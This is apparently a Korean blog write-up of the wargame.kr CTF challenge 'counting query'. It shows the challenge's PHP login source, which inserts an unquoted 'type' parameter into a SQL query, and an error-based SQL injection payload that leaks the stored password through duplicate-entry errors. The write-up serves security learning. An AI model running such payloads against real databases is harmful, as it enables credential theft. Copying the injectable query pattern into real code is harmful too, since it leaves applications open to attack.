Question 20. counting query
문제
Error based SQLi challenge.
풀이
문제 접근 시 로그인 폼과 source를 볼 수 있는 링크가 제공된다 ID의 경우 고정 값으로 나의 IP가 입력되어 있으며 PW의 경우 입력이 가능하고 user버튼의 경우 admin으로 변경이 가능하다. 소스코드를 확인해보자.
<?php if (isset($_GET['view-source'])) { show_source(__FILE__); exit(); } include("./inc.php"); // database connect. include("../lib.php"); // include for auth_code function. ini_set('display_errors',false); function err($str){ die("<script>alert(\"$str\");window.location.href='./';</script>"); } function uniq($data){ return md5($data.uniqid());} function make_id($id){ return mysql_query("insert into all_user_accounts values (null,'$id','".uniq($id)."','guest@nothing.null',2)");} function counting($id){ return mysql_query("insert into login_count values (null,'$id','".time()."')");} function pw_change($id) { return mysql_query("update all_user_accounts set ps='".uniq($id)."' where user_id='$id'"); } function count_init($id) { return mysql_query("delete from login_count where id='$id'"); } function t_table($id) { return mysql_query("create temporary table t_user as select * from all_user_accounts where user_id='$id'"); }; if(empty($_POST['id']) || empty($_POST['pw']) || empty($_POST['type'])){ err("Parameter Error :: missing"); } $id=mysql_real_escape_string($_POST['id']); $ps=mysql_real_escape_string($_POST['pw']); $type=mysql_real_escape_string($_POST['type']); $ip=$_SERVER['REMOTE_ADDR']; sleep(2); // not Bruteforcing!! if($id!=$ip){ err("SECURITY : u can access with allotted id only"); } $row=mysql_fetch_array(mysql_query("select 1 from all_user_accounts where user_id='$id'")); if($row[0]!=1){ if(false === make_id($id)){ err("DB Error :: create user error"); } } $row=mysql_fetch_array(mysql_query("select count(*) from login_count where id='$id'")); $log_count = (int)$row[0]; if($log_count >= 4){ pw_change($id); count_init($id); err("SECURITY : bruteforcing detected - password is changed"); } t_table($id); // don`t access the other account if(preg_match("/all_user_accounts/i",$type)){ err("SECURITY : don`t access the other account"); } counting($id); // limiting number of query if(false === $result=mysql_query("select * from t_user where user_id='$id' and ps='$ps' and type=$type")){ err("DB Error :: ".mysql_error()); } $row=mysql_fetch_array($result); if(empty($row['user_id'])){ err("Login Error :: not found your `user_id` or `password`"); } echo "welcome <b>$id</b> !! (Login count = $log_count)"; $row=mysql_fetch_array(mysql_query("select ps from t_user where user_id='$id' and ps='$ps'")); //patched 04.22.2015 if (empty($ps)) err("DB Error :: data not found.."); if($row['ps']==$ps){ echo "<h2>wow! auth key is : ".auth_code("counting query")."</h2>"; } ?> |
매우 긴 소스코드가 제공된다 해당 코드를 분석하면 다음과 같은 결론을 얻을 수 있다.
1) 4번 로그인 시도 시 패스워드는 변경된다.
2) 다른 계정으론 접근 불가능 하고 id, pw, type 모두 값이 들어있어야 한다.
3) 이중 type 의 부분에 SQL injection 이 가능하다.
파이썬을 통하여 SQL Injection 공격을 시도해본다.
우선 취약점의 공격가능 유무를 확인하기 위해 type=1 or 1=1 을 공격에 성공하는걸 확인할 수 있다. 검은색 네모박스는 실제 IP 주소가 입력된 부분이다.
1 or row(1,1)>(select count(*),concat(ps,0x41,floor(rand(0)*2)) as test from information_schema.tables group by test limit 1)
해당 payload 를 통하여 값을 추출 할 수 있으며 Duplicate entry “” 중 마지막 A1을 제외한 값이 PW가 된다.
PW에 구한값을 넣으면 성공적으로 플래그를 구할 수 있으며 제출 시 문제를 통과 할 수 있다.
'Hacking > wargame.kr' 카테고리의 다른 글
[wargame.kr] Question 19. QnA (0) | 2021.07.19 |
---|---|
[wargame.kr] Question 18. dmbs 355 (1) | 2021.07.19 |
[wargame.kr] Question 17. lonely guys (0) | 2021.07.19 |
[wargame.kr] Question 16. ip log table (0) | 2021.07.19 |
[wargame.kr] Question 15. Simple Board (0) | 2021.07.19 |